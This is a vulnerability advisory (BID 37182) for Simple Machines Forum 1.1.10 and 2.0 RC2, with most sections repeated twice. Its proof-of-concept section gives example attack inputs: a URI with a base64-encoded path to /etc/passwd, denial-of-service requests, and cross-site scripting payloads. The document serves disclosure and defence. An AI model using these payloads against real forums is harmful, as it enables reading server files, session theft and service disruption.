Simple Machines Forum Multiple Security Vulnerabilities
BID:37182
Info
Simple Machines Forum Multiple Security Vulnerabilities
| Bugtraq ID: | 37182 |
| Class: | Unknown |
| CVE: |
CVE-2013-0192 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 02 2009 12:00AM |
| Updated: | Jan 31 2013 12:10PM |
| Credit: | SimpleAudit team from elhacker.net |
| Vulnerable: |
Simple Machines Simple Machines Forum 1.1.10 Simple Machines Simple Machines Forum 2.0 RC2 |
| Not Vulnerable: |
Simple Machines Simple Machines Forum 1.1.11 |
Discussion
Simple Machines Forum Multiple Security Vulnerabilities
Simple Machines Forum (SMF) is prone to multiple security vulnerabilities:
- A remote PHP code-execution vulnerability
- Multiple cross-site scripting vulnerabilities
- Multiple cross-site request-forgery vulnerabilities
- An information-disclosure vulnerability
- Multiple denial-of-service vulnerabilities
Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions on behalf of legitimate users, compromise the affected application, steal cookie-based authentication credentials, obtain information that could aid in further attacks, or cause denial-of-service conditions.
Note that some of these issues may already be described in other BIDs. We will update this BID if further analysis confirms this.
These issues affect SMF 2.0 RC2. Some of these issues also affect SMF 1.1.10.
Simple Machines Forum (SMF) is prone to multiple security vulnerabilities:
- A remote PHP code-execution vulnerability
- Multiple cross-site scripting vulnerabilities
- Multiple cross-site request-forgery vulnerabilities
- An information-disclosure vulnerability
- Multiple denial-of-service vulnerabilities
Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions on behalf of legitimate users, compromise the affected application, steal cookie-based authentication credentials, obtain information that could aid in further attacks, or cause denial-of-service conditions.
Note that some of these issues may already be described in other BIDs. We will update this BID if further analysis confirms this.
These issues affect SMF 2.0 RC2. Some of these issues also affect SMF 1.1.10.
Exploit / POC
Simple Machines Forum Multiple Security Vulnerabilities
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
Information disclosure:
http://www.example.com/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==
Denial of service:
GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
Denial of service (cookie):
Cookie: GLOBALS
Cross-site scripting:
http://www.example.com/index.php?action=admin;area=languages;sa=add;[token]
PoC: "><xss>
http://www.example.com/index.php?action=admin;area=theme;sa=settings;th=2;[token]
PoC: http://urlreal"><script>alert(1);</script>
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
Information disclosure:
http://www.example.com/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==
Denial of service:
GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
Denial of service (cookie):
Cookie: GLOBALS
Cross-site scripting:
http://www.example.com/index.php?action=admin;area=languages;sa=add;[token]
PoC: "><xss>
http://www.example.com/index.php?action=admin;area=theme;sa=settings;th=2;[token]
PoC: http://urlreal"><script>alert(1);</script>
Solution / Fix
Simple Machines Forum Multiple Security Vulnerabilities
Solution:
Reportedly, the vendor fixed some of the issues in the SMF 1.1.11.
Solution:
Reportedly, the vendor fixed some of the issues in the SMF 1.1.11.
References
Simple Machines Forum Multiple Security Vulnerabilities
References:
References:
- Simple Machines Homepage (Simple Machines)
- smf2-review (elhacker.net)
- 40 vulnerabilities in SMF 1.1.10/SMF 2.0RC2 by elhacker.net (Simple Audit) ([email protected])